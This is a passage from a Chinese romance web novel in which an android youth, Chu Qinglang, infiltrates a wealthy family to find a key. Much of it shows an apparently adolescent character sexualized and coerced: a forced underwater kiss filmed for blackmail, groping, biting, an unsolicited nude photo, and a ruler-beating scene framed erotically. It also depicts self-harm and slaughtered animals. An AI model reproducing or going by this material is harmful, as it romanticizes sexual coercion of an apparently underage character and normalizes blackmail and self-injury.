将那一丝的触动扔到脑后,越珩甚至来不及反应,只能勉强的控制住这条突然发疯的马儿。 免得被甩下去。 楚青琅看着他的背影,安抚的点了点小黄的头。 他转身,并没有管地上的碎片,坐到座椅上,又安静的看起资料来。 等全部看完之后,楚青琅走出了房门,来到了祁温的房间。 既然白月光一而再再而三的说他同样是祁家的主人,那么他来这里就完全不需要像着上次那样遮掩。 他轻而易举的推开了门,重新站到了这个冰冷整洁的房间。 上次已经找过了地板和书架,柜子抽屉也是。 那么,他环视了一圈周围的各种雕塑摆件。 也许在这些摆件里面。 祁温房间里面的摆件很多都是用着铁艺,嵌金,墨绿色宝石制作的,瞧起来很精美。 但是并不会破坏整个房间的简洁神秘调性。 密钥是祁家的传家宝,根据女人传过来的图片,那是一个金色的钥匙,很显眼。 但是摆件里面依然没有发现。 楚青琅又盯上了沙发,还有天花板的吊灯,以及壁灯。 相比起摆在外面的东西,这些城堡里面最多的,同样也是最让人忽视的地方。 也非常有可能找到密钥。 楚青琅踩着宽大的椅子,仔细的检查起来头顶的吊灯来。 时间一点一滴的过去。 楚青琅几乎将白月光的房间翻了个底朝天,却依然什么都没有找到。 他深呼吸了一下,跃下凳子,重新拉开了幕帘。 此时,外面的天空已经稍微的暗了下来。 他将自己的翻找记录下来,发送给女人,顺便说自己准备在这两天内接近祁温,找到密钥。 算是表一下衷心。 抬手,将房间的灯光关闭,他离开了这间房间。 于此同时,外面的佣人已经开始忙碌起来,中间碰上了林荔,他顺势表明晚餐不用上来了。 在林荔担忧的询问原因的时候。 楚青琅搬出了祁温,说担心他的身体,并没有心情吃饭。 于是林荔理解的点了点头。 * 夜晚。 意外的,等他回来的时候,窗户已经被修理好了。 在桌子上有着管家写的便条。 应该是管家过来找他,发现了坏的窗户,就叫人换了。 楚青琅没有多想。 一如既往的坐在座椅上闭目养神打发着时间。 放在一旁的手机叮的响了一下。 拿起,是祁温发过来了两张图片,一张是越珩在深潭扑腾的模样,并不会水的样子,狼狈极了。 另一张 楚青琅倏地关闭了手机。 祁温竟然把自己的裸/体照片发了过来,所有的东西一览无余,清晰的很。 仿佛得到了治疗,那张惨白如死人一般的面孔恢复了些许的血色。神情平淡,目光直视屏幕。 格外的理直气壮。 看着那张脸,楚青琅对今天的猜测有些动摇。 毕竟无论是兆歧还是厉屿,都没有这么的,令人难以形容。 手机又叮叮叮的发出声音。 楚青琅下意识的低头,将那文字看尽了眼中。 ——明天的衣服不会弄脏了。 ——被欺负了找我。 这些文字一进入眼中,楚青琅却是一脸的茫然,并没有理解。 因为祁温又发了个尺子,上面标注着数字,后面就是一连串的骚话。 什么长度? 道具是什么? 害羞什么? 他下意识的拿起手机,再手机屏幕上敲敲打打了一阵。 他盯着最后的一句话,还是把对话框上的文字完全删除。 白月光知道他跟管家讲的理由了? * 祁温看着一直显示着输入中的屏幕,呼了一口气,将手中的尸体扔下。 周围盛到灼热的光芒照射,将整间房间照的大亮。 满地的动物尸体,血液积蓄了浅浅一层,几乎没入脚面。 血腥气被炽热的温度烤炽,腥气和尸体的臭味交杂,宛如地狱。 祁温踩着血,光着身子朝着床铺走去。 他神情平淡。 胳膊上的臂环当然不是摆设装饰,在顶部有着了尖细的针。 这是他第一次发病的时候,母亲给他定制的。 只要按下开关,那些尖刺就会没入身体。 用疼痛来唤醒他的理智。 但是随着时间日益久远,这些东西也没有了作用。 现在启用,更多的是他不经意间察觉到了自己的感情思维被篡改。 仿佛有着一个未知存在将他和整个世界变成提线木偶。 无法直接对抗,他便只能采取更加激烈的手段来维持自己的清醒。 用从父母那里学来的疼痛,还有伤害。 不至于像越珩那个蠢货一样,被控制了还不自知。 他对少年发的裸/照,更多的是他想要简单的满足自己日益对少年叫嚣的欲/望,毕竟暴露也是一种隔空缠绵。 这种程度,能够很好的避免他做出什么不理智的举动。 他的救赎,他的妻子,他的娃娃。 体内不断翻涌的杀意和焚身欲/望交织。 祁温安静的躺在床上,支起的纱帐随着他的动作落下,光芒却依然无处不在。 他的手腕上,连接着一个长长的软管。 软管深入他的血管,鲜血不断的涌出,穿过透明通道打在地上。 “啪嗒,啪嗒,啪嗒。” 身体却逐渐冷下。 仿佛将烧红的铁球扔进了冰块中。 到底是徒劳无功,还是同归于尽。 祁温侧头,贴了一下手机。 烧尽的煤块一般的眼珠盯着那恒久亮起的页面。 对面依然没有发来任何信息。 他伸出手,缓缓的将软管从手腕抽出。 眼前恍惚出现少年的模样。 担忧着急的凝着他,却有绯红从耳根绵延到颈项。 轻纱下,他石膏一般的面孔,显出细微的笑意。 他会保持着理智,保持着对少年的爱意,不容任何篡改。 哪怕疼痛已经让肌肉痉挛。 * “真的不饿吗?” 林荔推着餐车有些担心。 楚青琅少见的心虚了一下。 此时他已经洗漱完全,换上了管家给他新拿过来的衣服。 衣服偏英伦风,白色衬衫在袖口处如花苞层叠绽放,领前也是同样。 黑色背带短裤,腰束的极高,肩背到臀部中间弧度陡然弯折,格外纤细。 金色纽扣显出些许复古,短裤到膝盖上方,漏出一截白皙光滑的小腿。 管家为他套上修身的黑色马甲,同色丝袜和粗跟皮鞋。 整体看起来,格外可爱矜贵。 当时管家站在后面为他整理褶皱,一张脸笑的灿烂。 “家主选的衣服跟您真的很相配。” 楚青琅看着自己镜子里的样子,没有应和。 但是管家也早已习惯他的沉默。 虽然不知道白月光为什么会这么喜欢打扮他,不过楚青琅并没有很烦。 虽然对他来说,与其这样装饰外表,还不如给他装上消化器官。 对着林荔心虚归心虚,他还是坚定的拒绝了食物。 只是在外人眼里两三天不吃饭而已。 应该也没什么。 楚青琅对林荔点了点头,起身朝着外面走去。 现在他的一天的日程很满,除了上午的时候要学习只是以外,还要下午的时候要跟着祁温学习。 他有一种预感,越珩会在这中间给他找麻烦,毕竟他还有把柄在越珩的手中。 只希望越珩不要像上次一样那么过分。 为了妈妈,他都会忍下来的。 楚青琅重新来到那个玻璃房教室,在进去的时候,意外发现越珩已经穿戴整齐的坐在了一旁的沙发处。 大大咧咧的,毫不掩饰自己要找茬的意味。 他曲下手,暗暗的对自己说:“忍一下,忍一下。” 楚青琅这个人,总是吃软不吃硬,更何况前两个世界都是被顺着的,因此面对越珩他总是忍不住自己的脾气。 越珩用视线捉住他,对他笑,露出洁白的牙齿,全然看不出那张照片上的狼狈样子。 “过来,小骗子。” 随后,越珩轻佻的朝他吹了口哨,招手,拍了下自己身前的椅子。 楚青琅看着凳子上明显的陷阱,也没搭理他,转身坐到了一旁,拿出了书本看了起来。 被忽视的越珩笑吟吟的,动作却格外暴戾,一脚将凳子踹了开来。 “砰!” 高背丝绒软垫椅子沉重的砸在地上,一旁,越珩站起身。 顺滑布料裹着有力双腿,步伐利落的朝着目标走去。 手中的书被强硬压下,指尖被挤压出闷痛。 顺着骨节分明的大手向上瞧去,是越珩那张戾气缠绕的脸。 他说:“别这么没礼貌,哥哥向你问好,要记得回话啊。” 楚青琅后仰了一下身子。 相比起越珩已经和成年男人相似的体型,楚青琅的身体更加的单薄,肩颈面孔,都带着青涩的少年气。 但是对面前的人,少年却没有浮现丝毫的紧张情绪。 他只是缓缓的将手抽了出来,然后反手给了越珩一个巴掌。 “啪!” 力道很重。 楚青琅歪了下头,又顺着话叫他。 “哥哥。” “你这个…… 越珩呆了一下,脸侧火辣辣的。 怒火瞬间翻涌,他猛的伸手抓住少年的发,将他刻意离远的脸拽了过来。 但是当对上那玻璃般的眼珠时。 心脏诡异的抽搐了一瞬,同样失衡的场景,将隐在记忆深处的画面激发。 塑料薄膜被戳破,情感宛如洪水一般冲破闸关,倾泻而出。 越珩眉缓缓上扬,眼轮周围肌肉牵动着,使那双眼迸出兴奋嗜血的亮光。 他的视线顺着少年的双唇,落入领子上系着的丝绸蝴蝶结。 祁哥还真变态,给这小孩穿成这样…跟个礼物一样。 是想要自己解开吗? 不过,真好看。 楚青琅有些莫名其妙的看着主角攻的表情变换。 就在他疑惑的时候,越珩突然垂下了头,擦过唇瓣咬住了他的喉结。 仿佛被猛兽叼住命脉。 “……滚开!” 楚青琅头皮猛的一炸,下意识的伸手推拒起来。 说话间软骨在尖锐的齿上滑动,少年克制却又因此恐惧而隐忍的挣扎。 不像拒绝,反像引诱。 隔着桌子,拽着头发的手下滑。 健壮手臂横过肩膀,楚青琅被迫前倾身体,贴紧了越珩的肩胸。 粗重滚烫的呼吸浇热了脖颈。 脊背后方的力道越来越重,就当楚青琅以为他要被咬死在这里时。 越珩却突然松开了口。 他按着桌子随手拉来一个凳子,坐到了他的旁边。 “这次我们先把上次的复习一下,然后开启新的课程……你是?” 老师们推门进来,手里拿着教学所用的工具,疑惑的看向了坐在一起的两人。 少年一如既往的沉默。 身旁的人肌肉健壮,眉目俊厉,健康的也不像传说中的祁家家主。 被放开的楚青琅微微低下了头,咽了下口水。 喉咙处传来滞涩感觉,表皮仿佛被胶水糊住,带着细微的痛麻。 身旁挨着他做的人纠缠着握住他的手,朝着疑惑往来的家教餍足的挥了挥手。 “我是青琅的哥哥,跟着他学习会儿,你们不用管我。” 家教用询问的眼神看了过来。 楚青琅踩着越珩的脚,挣开手,点了下头。 刚刚那些举动,与其说是挑逗,更像是野兽在撕咬猎物。 楚青琅打开系统面板。 发现上面的剧情偏移程度依然是0%。 这是否说明,白月光和主角攻两个人,是正常的? 翻开书本,面前的家教开始讲述起来。 炽热大手摸上膝盖。 随着他又一次的抬脚欲踹,挑了下绷紧的长袜。 打下轻微的闷响。 楚青琅蹙眉,侧头瞪了一眼。 越珩朝他笑,牙齿洁白整齐。 时间一点一滴的过去。 “老师再见。” 家教走前,楚青琅站起身礼貌道别。 一直撑着下颌昏昏欲睡的越珩打个激灵醒了过来。 看着他嘟囔:“装模作样。” 楚青琅没有搭理他。 他将桌子上的东西收拾好后,和越珩拉开了距离,朝着门外走去。 现在他要去找祁温询问一下酒庄的事情。 越珩并没有阻止,只是晃悠悠的跟在他身后。 然后在走到门口时,一把拽住他的手臂。 将他向着外面拉去。 楚青琅定在原地,任由手臂上的力道如何大,他都纹丝不动。 他看着越珩严肃道:“我要去找祁温先生询问酒庄的事情,你不要阻止我。” 这关乎他能否完成女人给他的任务。 越珩的手从手臂移到他的后颈,漫不经心的说:“青琅说什么呢,当然是哥哥最重要了,跟我走。” 楚青琅抬手就要将他的手拍下。 越珩无奈的叹了口气,从口袋中掏出了一张相片。 “真是的,非要逼我。” 他将照片在空中晃了下。 “现在也到了午饭时间,你不饿祁哥也会饿啊,他身体本来就不好,你还要打扰他。” 越珩说:“有点同理心吧。” 楚青琅:“?” 照片被越珩缓缓塞进楚青琅的口袋,收手前还按了下。 楚青琅松了力气,顺从的被拉了出去。 第54章 第 54 章 乱/伦? 楚青琅被拽着来到了城堡旁边的马厩。 越珩赶走了佣人, 直接伸手将一匹马给牵了过来。 马儿皮毛顺滑,在阳光下闪闪发光,蒲扇般的大眼睛好奇的望着楚青琅,然后弯下头, 好奇的在他的胸口蹭了下。 楚青琅伸手在它的头上轻轻摸了下, 换来了一声咕咕的撒娇声。 “看来beryl很喜欢你。”越珩握着缰绳, 踩着脚蹬翻身上马, 居高临下道:“会骑马吗?” 楚青琅当然会骑马,但是在这里他不应该会, 于是他摇了摇头。 越珩不屑的哼笑了一下,伸手。 “想你也不会,上来,我教你。” 楚青琅看着朝他摊开的骨骼修长的手,有些犹豫。 越珩见状催促道:“快点!你成天呆在这里不会腻吗?这里阴森森的, 真不知道你怎么呆的住。” 虽然越珩对祁哥是有好感的,也是他主动想来这里,不过那是因为祁温在这里。 而且他呆一段时间也会骑马出去或者开车出去自己找一些乐子。 不然他这样一个年轻人, 一直呆在这种阴森森的也没有什么娱乐活动的地方, 早晚要抑郁。 这两天, 要不是因为楚青琅在这里,他需要监视他, 才不会一直呆着。 楚青琅只能握着他的手, 被带着坐在了他的身前。 见此,越珩面上露出了一抹满意的笑。 他一扯缰绳,beryl仰头嘶鸣,朝着前方就冲了过去。 楚青琅双手攥着马儿的鬃毛,脊背撞进宽阔温暖的胸膛, 颈项边,越珩的呼吸打在颈项,带来一阵的烫,又很快湿凉下去。 青绿色的草坪被踩倒伏,两边修剪完美的园艺树木快速后退。 马儿很快就来到了城堡后。 楚青琅并未瞧见,在城堡的二楼处,一个身影出现。 凝视着他们的背影,直到消失。 马儿快速的闯进树林,松树柏树在两旁掠过,七拐八拐的,又一次的大跃后,面前豁然开朗,他们竟然来到了一处盘山公路上。 这一片庄园外加后面的山头都是祁家的,所以公路上并没有其他车辆。 手背上传来炽热温度,掌心被摊平,粗糙的缰绳被越珩放进了他的手中。 “别紧张,我教你。” 两人靠的过近,楚青琅下意识的耸了下脊背,又很快放松起来。 在行进中,在马腹旁晃动的小腿被勾起,脚被带到马镫旁,发出金属碰撞声,身后的人将头颅放在他的肩膀上,温热大手按着他的膝盖,“踩进去,脚跟下压。” 这样说着,越珩顺着力道按着他。 察觉到他顺从的按着他的话做了,那张大手顺着膝盖拍了下他的小腿,“腿用力,别怕疼,破了我给你上药。” 楚青琅呼了一口气,压下想要打人的冲动,顺势加了力道。 越珩的手又来到腰部,拇指按着脊背,用力,“腰背挺直,别一直往我怀里坐。” 越珩凑到他耳边说:“我都要被你蹭起来了。” 楚青琅猛地曲肘,朝他胸口怼了一下。 身后传来几声笑,愉悦肆意。 那只手却是压了下他的肩胛骨,然后又将手垫在了他的臀下,“身体前倾,屁股不要坐死。” 骨节鲜明,顶着皮肉一起一伏几乎要烙出印子。 楚青琅不自在的动了下,松开缰绳,手后背将越珩的手抽出来。 “别摸我屁股。” 越珩学他,一脸的惊讶无辜,“你说什么,我在教你啊。” 又顶了下他后脑勺,又说:“小脑袋瓜里面这么色?” 被倒打一耙,楚青琅瘫着一张脸,“你不是喜欢先生,别对我动手动脚。” 越珩扭头盯他,干脆承认,毫无廉耻。 “我是替他验证你的真心,如果你真的对我动心了,就不是真的喜欢祁哥,而一个虚情假意的人,怎么配做祁哥的妻子?” 这话说出来谁信! 但是越珩对此仿佛坚信不疑,他双眼瞧过来,带着审视打量。 “虽然不知道你为什么会突然成为祁哥的妻子,但是你要是对他不利,就算你跑到天涯海角我也会做掉你!” 所以先前的举动。 摸他,咬他都是因为这个原因? 楚青琅被他的逻辑惊到,一时间竟没能想出回复。 越珩干脆将手中的缰绳全部交到楚青琅手中,身体后仰,按住马背,丝毫没有在意现在控马的是一个新手。 在外侧的双腿夹紧楚青琅的腿,越珩面上带笑,看着他翘起的发,慢悠悠道:“要控好beryl啊,别摔下悬崖了,不然我们只能一起翘辫子。” 楚青琅想要回头骂他不要命不要脸,但是现在上坡,前面也是一个拐弯,他便只能集中注意力。 身后,越珩却偏偏动来动去,伸手在他的后背上划来划去,“你什么时候喜欢祁哥的?现在见到他还喜欢吗?我怎么感觉你没有那么喜欢啊?是母亲派你去的?” “你竟然真的答应了?” 那些照片上面,祁温的模样可健康多了,矜贵斯文。 而现在,祁温面容染上病态,瘦了不少。 若不是骨架在哪里摆着,可能就跟骷髅一样丑陋。 越珩当然不会嫌弃祁温,毕竟祁温在他心中可是白月光的存在。 但是一个和祁哥没有相处过的人真的能够接受吗? 他为什么会答应? 有什么目的? 楚青琅眉心跳动,抿着嘴没有回话,等马儿顺利拐过弯后,他才松了口气。 脊背被戳,越珩嬉笑着催他:“快回答我的问题。” 楚青琅能说什么,只能说:“不用你管。” 越珩阴脸,挑开背带,扯起楚青琅赛的平整的衬衣,抚摸着他紧绷的后背。 “我知道母亲要祁家是为了我在家族中增加竞争力,但是我不需要。” 他点着那脊骨,又顺着脊骨摸向一旁的腰肢,语气平静,神情傲慢。 “弟弟,如果你真的要和母亲站在一条线上,那就看看是我先找到你们的把柄,还是你们先吞掉祁家。” 楚青琅不知道为什么女人不记得给他装消化道,却记得给他装上了皮肤感官。 背带掉到手臂旁,凉飕飕的感觉顺着腰肢窜到胸前。 楚青琅咬牙说:“是妈妈给了我们生命,你怎么能背叛她?” 越珩嗤笑,少顷,直接搂住他。 少年轻而易举的被他带到怀里。 两人几乎是躺倒了马背上,楚青琅下意识的勒紧缰绳,身下的马儿摇头晃脑的嘶鸣,失去了目标。 楚青琅想要起身控制,却被越珩圈住手臂。 越珩冷眼看着马儿想着悬崖跑去,偏执又狂妄。 “你又不是我妈生出来的,怎么衷心的跟条狗一样,缺爱?” 马儿猛地冲下悬崖,猛烈的滞空感传来后,两人快速向下落去。 疯子。 楚青琅扣着他的手,条件反射的闭上了眼。 “安心呆在家里做一个太太和少爷不好吗?跑这里来插手我的事情做什么?” 越珩的声音依然没有起伏,仿佛从第一面见到后表现出来的那些轻浮毛躁是幻觉一般。 楚青琅心脏快速跳动。 “你知道?” 空气挤压着他的声音,将其击散。 “呵。” 身后的人将他翻过身,按住他的后脑勺将他搂紧在胸膛,冷笑从喉咙间逸出。 “噗通!” 平静水面被击溃,璀璨水珠冲天而起。 长久的坠落后,是一阵闷痛传来,随即冰冷潭水吞没所有感官。 楚青琅下意识睁开眼,目之所及是一片幽绿潭水,看不见底。 越珩垫在下面,两人从高处坠入了水中。 氧气迅速流失,楚青琅想要挣脱,但是越珩却只是闭着眼死死的搂住他,并没有松手的意思。 主角攻怎么回事? 要和他一起去死吗? 眼前系统面板自动跳出。 上面的剧情偏移度不断上涨。 楚青琅四肢被控制住,只能低头咬住越珩的肩膀。 他用的力气很大,牙齿深深的嵌入肌肉。 不一会儿,周围就有着丝丝血流向上飘起。 越珩像是清醒了,闷哼一声睁开了眼,下意识的拽着他的发将他拉开。 随后看着他安静了一会,鼻腔嘴旁冒出一串细密的气泡。 像是要说些什么,但是水中过于黑暗,楚青琅甚至看不清他的表情。 他感觉手臂脊背的束缚松开,立刻远离了越珩。 回头,主角攻仿佛被掉下来的冲击力弄得失去了力气,依然在缓缓下沉。 楚青琅有一种冲动,就是让他在这里等死。 毕竟是越珩自己发癫才导致两人掉下来的。 不过话说回来,越珩也搂住了他避免了大部分的伤害 最重要的是,剧情主角不能死。 楚青琅鼓了鼓腮帮,转变方向,故意抓住越珩受伤的肩膀,将人带着向水面游去。 阳光于水面晕染,深邃幽蓝渐变成清澈浅碧。 以深邃幽静的深潭为背景,水面弥散的光芒通过瞳孔折射,带着异样瑰丽的光彩。 睁着眼的越珩心脏猝然停跳了一瞬。 幸好楚青琅不是真正的人类,不然拉着一个肌肉沉重的人,还真的说不定两个人谁先沉底。 耳膜中被水堵住,整个世界变得安静,只能听见手臂破开水流的声音。 在即将冲破水面时,一直向后伸去的手臂突然被一股巨力拽住。 楚青琅不禁滞了下,面前钻出一颗湿漉漉的头颅,英俊眉眼被水流洗的冰凉。 贴住他。 在他没有反应过来时,越珩伸手掐住他的下颌,瞄准嘴亲了上来。 水流趁机钻进两人的口中,连带着狡猾冰凉的舌在腔体内勾缠扫荡。 楚青琅踢他,甩手,却毫无效果。 逼得他直接按住越珩的后颈,叼住那舌根咬下。 牙齿刺穿肌肉的声音顺着骨骼传导,鲜血流出。 越珩却不知痛苦一般。 就连鲜血也被渡进楚青琅咽喉。 他呛了一下。 越珩像先前一样圈住他的后背,控制了双臂,别住了腿。 所有的骨节被控制住,两人不由自主的重新坠下,远离生机。 机器做成的身体,不知道能在水下呆多久。 系统面板一直闪烁,任务失败的恐慌和越珩发癫的举动让楚青琅有着片刻的崩溃。 水面细密的裹住两人。 飘荡起伏间,掐在下颌的手顺势下滑,冲击的他眼前一片白蒙蒙。 楚青琅额上青筋跳动。 真是白救他了。 楚青琅不再收力,扭着越珩的手撇开,抬膝撞到他的胃部。 趁着越珩因为疼痛失去力气,蜷缩身体的空档。 楚青琅转身游开。 * 隐匿于林间的潭水一向幽静,却在下一刻从下面冒出了两个人。 楚青琅撇头,狼狈的咳嗽着。 等缓过来后,楚青琅看着跟上来的越珩,沉着脸说:“你疯了?会死人的。” “我这么一个大帅哥陪你去死,你应该开心?”越珩挤着他,伸出湿漉漉的手抹去他面上的水渍,笑着说,“咬这么狠,舌头都快被你咬掉了。” 楚青琅冷声道:“活该。” 越珩眨巴眼,转移话题。 “还好你转身了,不然你就完蛋了。” 他轻佻的抚摸着楚青琅领子上散开的蝴蝶结,露出清晰挺直的锁骨,尾音带着克制不住的兴奋颤音。 神经! 楚青琅皱眉,没有收力拍开他的手,和他拉开距离,“以后离我远点。” 越珩嘶了一声,“好大的力气。” 随后又黏上哼笑:“一开始怎么不拒绝,欲拒还迎啊,我看你不是喜欢祁哥,而是喜欢我吧。” 好自恋。 楚青琅直言,“不是。” 越珩描着他的身体,懒懒开口,“不是什么?哪件事不是?” “如果妈妈知道我们做了什么的话,还会让你呆在这里吗?如果祁哥知道了自己的订婚对象不守贞,和旁人亲密,还会留你吗?” 楚青琅转过了弯。 原来是这样。 怪不得越珩这样子做。 是察觉到了他对女人的依赖,又因为女人最看重的是越珩这个儿子,就设计他。 而祁温再怎么喜欢他,也不会接受一个和旁人有染的订婚对象。 但是他不信越珩会这样不顾自己的名声爆出去。 而且就算爆出去,这一看就是越珩胁迫他的,祁温不一定会信,不过就算信了也没事,只要他找到密钥就好。 越珩拿出挂在脖子上的防水摄像头凑近,枪体直接怼住楚青琅的大腿,顶出凹痕。 “不信?需要我给你播放一下吗?” 果然,他是故意的。 楚青琅垂眸,“你不能这样,妈妈会伤心的。” 越珩漫不经心的蹭了下,高举摄像头,还调整了一下角度,将两人的脸都能照进去,“伤心?她才不会,她的心里只有金钱。” “更何况对面是你这个私生子,你觉得她知道的话,会不会直接将你送到我床上呢?毕竟,相比起我喜欢祁哥,喜欢一个好掌控的你不是更好?” “来,看这里。” 越珩又凑上来,低头啃噬他的锁骨。 楚青琅伸手打落那相机,将他一把推开,“越珩!” 越珩干脆浮在水面上,盯着他手上下动作着,声音拉长,“叫哥哥——” 楚青琅不由得深呼吸,没有搭理他。 更何况,越珩看的确实比他更清楚,如果真的爆出来,事情没准就会按照他说的那样发展。 为了避免这种情况,最好今天晚上就找到密钥。 刚好,他今天要问白月光,到时候直接点好了。 也不会ooc。 他转身向着岸边游去。 越珩看着那白皙修长的指尖撩过水面,人缓缓离开,神情忽地冷淡下来,那几乎沸腾的欲/望随即隐没。 楚青琅爬上岸,背带裤垂在腿旁,软绸衬衣凌乱,露出大片锁骨,丝袜破碎,挤压着露出软肉。 他直接将仅存的一只鞋踢掉,抬头,和他们一齐掉下来的beryl正在树林间。 它蹭着树木,发现他后咴咴的叫着,身上的鬃毛和他一样湿漉漉的滴水。 一双大眼睛水灵灵的望着楚青琅,然后晃动脑袋甩了甩。 这下子不用光脚回去了。 楚青琅松了口气,正准备离开,脚腕却被人握住。 他低头,只见越珩趴在岸边,侧头看着他说:“别这么心狠啊,一起出来的,当然要一起回去。” 越珩手上移,抠弄着丝袜,将裂口撕扯的更大,然后懒洋洋的攥住他腿旁的手。 系统显示的偏移程度终于稳定下来,5%的剧情偏移度,还在他的接受范围之内。 水滴顺着眼睫毛滴落在越珩眉心。 跳下悬崖,落进冰冷的潭水,窒息死亡不见他失控。 但是在那滴水落到眉心时,越珩却颤了下指尖。 随即他玩味的勾起唇,拉长嗓音对着楚青琅说: “你知道我们这叫什么吗?” “乱—” “噗通”一声。 楚青琅抬脚,直接将人重新踹回了潭水中。 他转身便走。 身后传来大笑。 “开个玩笑而已,怎么这么凶。” “哎哟少爷,您这是怎么回事?!” 正在吩咐佣人的管家听见马蹄声,回头,一眼就看见了楚青琅狼狈的样子,于是连忙上前,将他扶下。 beryl在他下来后顶了顶楚青琅的腰肢,管家看见后说: “是越珩少爷做的吗?您别怕,我这就和家主说,让他给你做主” 楚青琅眨了下眼,抬手将糊住眼睛的发丝拨到一旁。 他感觉四肢有些许的僵直,不知道是不是因为进水了,疑惑的弯了弯手指,准备回去自检一下。 “没事,我先回去洗澡了。” “好好,您先回去,我这就给您准备新的衣服。” 楚青琅向着管家礼貌点头,走进城堡,上楼朝着自己的房间走去。 推开门。 房间内一片昏暗,他却并没有开灯。 楚青琅反手关上了门,然后边解扣子边朝着浴室走去。 就在他越过一个个家具时,头顶的灯光猛地亮起。 一个坐在窗前的身影显露在他的眼前。 楚青琅懵燃的看过去,叫他:“先生?” 祁温穿戴整齐,矜贵优雅的坐镀金胡桃木软垫长椅上。 眼也不眨的看着呆在门口,半褪衣衫的楚青琅。 红色的天鹅绒布料衬得祁温面容带着诡异的冷。 花纹斑斓的小黄从他的怀中冒出,在他漆黑的西装外套上蹭着,好似闻见了楚青琅的味道,它扭头,湿红蛇信吐出,发出嘶声。 可能因为说好的教学,他却没在,所以白月光直接过来找他了。 楚青琅想出缘由,便平静下来,将上衣彻底脱了下来。 看来自检要等会了,先把密钥问出来再说。 “先生,非常抱歉我失约了,请稍等,我会很快洗漱完的。” 祁温抚着蛇头,声音泛凉。 “过来。” 楚青琅止住脚步,回头。 只看见男人手边,放着把黑色的戒尺。 第55章 第 55 章 训/诫预警:掌心,腰/…… “过来。” 祁温的声音听不出情绪。 就连表情都跟给他发照片时相同。 楚青琅猛地想起兜里的手机。 他下意识的在衣服和裤兜里面摸索了一下, 想要质问,却没有找到。 手机应该掉到了水里。 他这一连串的动作被面前的人看了个完全。 祁温并没有催促的意思,只是安静的搂着小黄,抚摸着那冰凉细密的鳞片。 另一只手深深的握着荆棘臂环, 尖锐的痛处很好的压制了脑海中的想法。 楚青琅能够感受到他隐忍的怒气, 虽然不知道为什么, 但是为了让他消气, 还是走了过去。 毕竟接下来还要问男人密钥在哪里,所以现在还是顺从一点吧。 楚青琅在心中疯狂揍越珩。 都怪主角攻, 要不是他给他找事,现在他已经在询问酒庄的事情了。 等他问出来了,两个一起揍! “先生。” 楚青琅光着脊背正要单膝跪地,但是面前的人却伸出脚尖阻止了他。 他微微仰头,神情无辜的看着男人。 未干的水珠顺着身躯流下, 将地毯上浸染成一片暗色。 “我很抱歉,是我失约了。” 对面的人没有回复,只是姿势动了一下, 从翘着二郎腿变成了双脚踩地。 “手伸平。” 祁温用那双眼瞧着他。 楚青琅朝他摊开一只手, 感受到那视线的落点, 下意识滚动了一下喉结。 直到看见祁温愈发黑沉的双眼。 他恍然想起,今天越珩那家伙突然犯病, 在他的喉咙上咬了一口。 祁温站起身, 拿着戒尺挑起他的下巴,盯着他咽喉的咬痕,瘦削的面颊显出骨骼的锐利。 他声音轻柔道:“和小珩出去玩了?” 楚青琅眼睫颤了下,没有说活。 祁温说:“我是不是告诉你,如果找人了要和我说。你们去干了什么?” 冰冷坚硬的木条顺着手臂, 来到掌心。 楚青琅说:“没干什么。” 仿佛在试探他的心跳,戒尺“啪”的打下。 男人轻飘飘道:“说谎。” 冰冷痛意混着灼热。 一切褪去后,麻意涌上,他恨不得自己伸手挠几下。 楚青琅下意识蜷了下手指。 又被寸寸抚平。 反应过来后,他连忙收手,酝酿着理由。 只是还没等他开口,寒冰般的指尖就落在了他的咽喉,祁温垂眼道: “被咬了?” 楚青琅看着他的表情,将手后背藏起来,点头。 “还做了什么?” 不想在品尝那种奇怪的感觉,他只能老实回答,“骑马了,然后亲/了嘴,后面就没有了。” 男人没有表现出信还是不信。 只是用戒尺轻拍了下他的嘴。 浓烈的檀木香气,夹杂着一股子血腥气。 少年皮肤过于敏/感,只是极轻的力道,白皙的脸孔就被黑漆漆的木条印下一道浅粉色引子。 就像是男人先前说的那样,他一向适合粉色。 少年对一向单纯,之前也没有经过这种操作,所以他完全不知道自己这副样子,对于一个常年压抑自己的人是多大的刺激。 戒尺忽地收回,楚青琅下意识的颤了一下。 戴着黑色皮革的手夹住他的唇,揉动着,仿佛在碾着落下的娇艳花瓣。 他发丝上的水滴到那手套上,留下暗沉湿迹。 祁温接着说:“怎么总是把自己弄的脏兮兮的。” 楚青琅微微张大了眼睛。 脑袋中下意识的浮现出另一个人的声音。 ——“楚哥,你怎么总是把自己搞得脏兮兮的呢?” 他这副失神的模样使得祁温微微眯了眯眼,湿凉的指尖探入,轻叩牙关挑动回人的思绪。 接着,祁温直接把人拽到面前,两人一齐坐在了沙发上。 楚青琅连忙稳住身体,手按着那宽阔的肩膀俯身。 戒尺顺着胸口滑向腰侧,却并没有询问少年在想什么。 “这里被碰过吗?” 楚青琅下意识摇头。 “说谎。” 冰冷字眼吐出。 戒尺又一次甩下。 先是闷痛,接着,便是难以言喻的酥/麻。 楚青琅惊恐低头,这感觉简直比被亲还要让他难以忍受。 在戒尺又换了个方向后,他下意识的握住男人的手腕阻止,但是祁温骤然苍白的脸提醒了他。 这个白月光可是病秧子啊! 先前生气都能给自己气的吐血,万一他那里用力了,这个白月光要是直接噶了怎么办? 那不用想,剧情偏移程度绝对超过10%! 更何况先前在越珩那里,剧情偏移度就已经有了5%了。 楚青琅脑海中思绪转动,还是缓缓放开了手。 他朝后移了移身子,小声说:“先生,能不能轻/点。” 白净的面孔带着羞耻的红,唇也是被磨得通红,朝霞般的红闯进男人的眼中,呼吸一瞬间加深。 眼眸被浓烈情感占满,他却依然克制的,只微微翘起了嘴角,答应了下来。 “好啊,那青琅乖乖回答我的问题,不要撒谎。” “嗯。” 楚青琅轻而易举的放下心,曲起腿放到了男人的大腿一旁。 男人偏了下头,稍长的发丝拢着脸侧,显出几分阴冷。 戒尺朝下划动,来到因为姿势,布料上移露出的大腿上。 “这里?” 楚青琅诚实到:“哥哥教我骑马,按了一下。” 男人确实遵守了诺言,只是轻轻的拍了下,那中奇怪的感觉也没有再次传来。 楚青琅感激的看了过去。 不愧是白月光,是个好人。 祁温迎着他的目光,缓缓勾起了唇。 戒尺来到丝袜破洞的地方,划动钻进,“这里。” 楚青琅说:“我们不小心掉水里了,这个是上岸的时候被扯了一下。” 祁温轻嗤一声,没有说话 被骗了! 早知道就不那么诚实了! 楚青琅神情紧绷趴在男人膝盖上,不由得紧紧抠着掌心。 戒尺每划过一处,那里的肌肉就条件反射的颤动着。 直到停留在腰臀上。 肩胛骨被按住,双手被扣住。 脸部绒垫的触感细腻,反而加深了心中的不安。 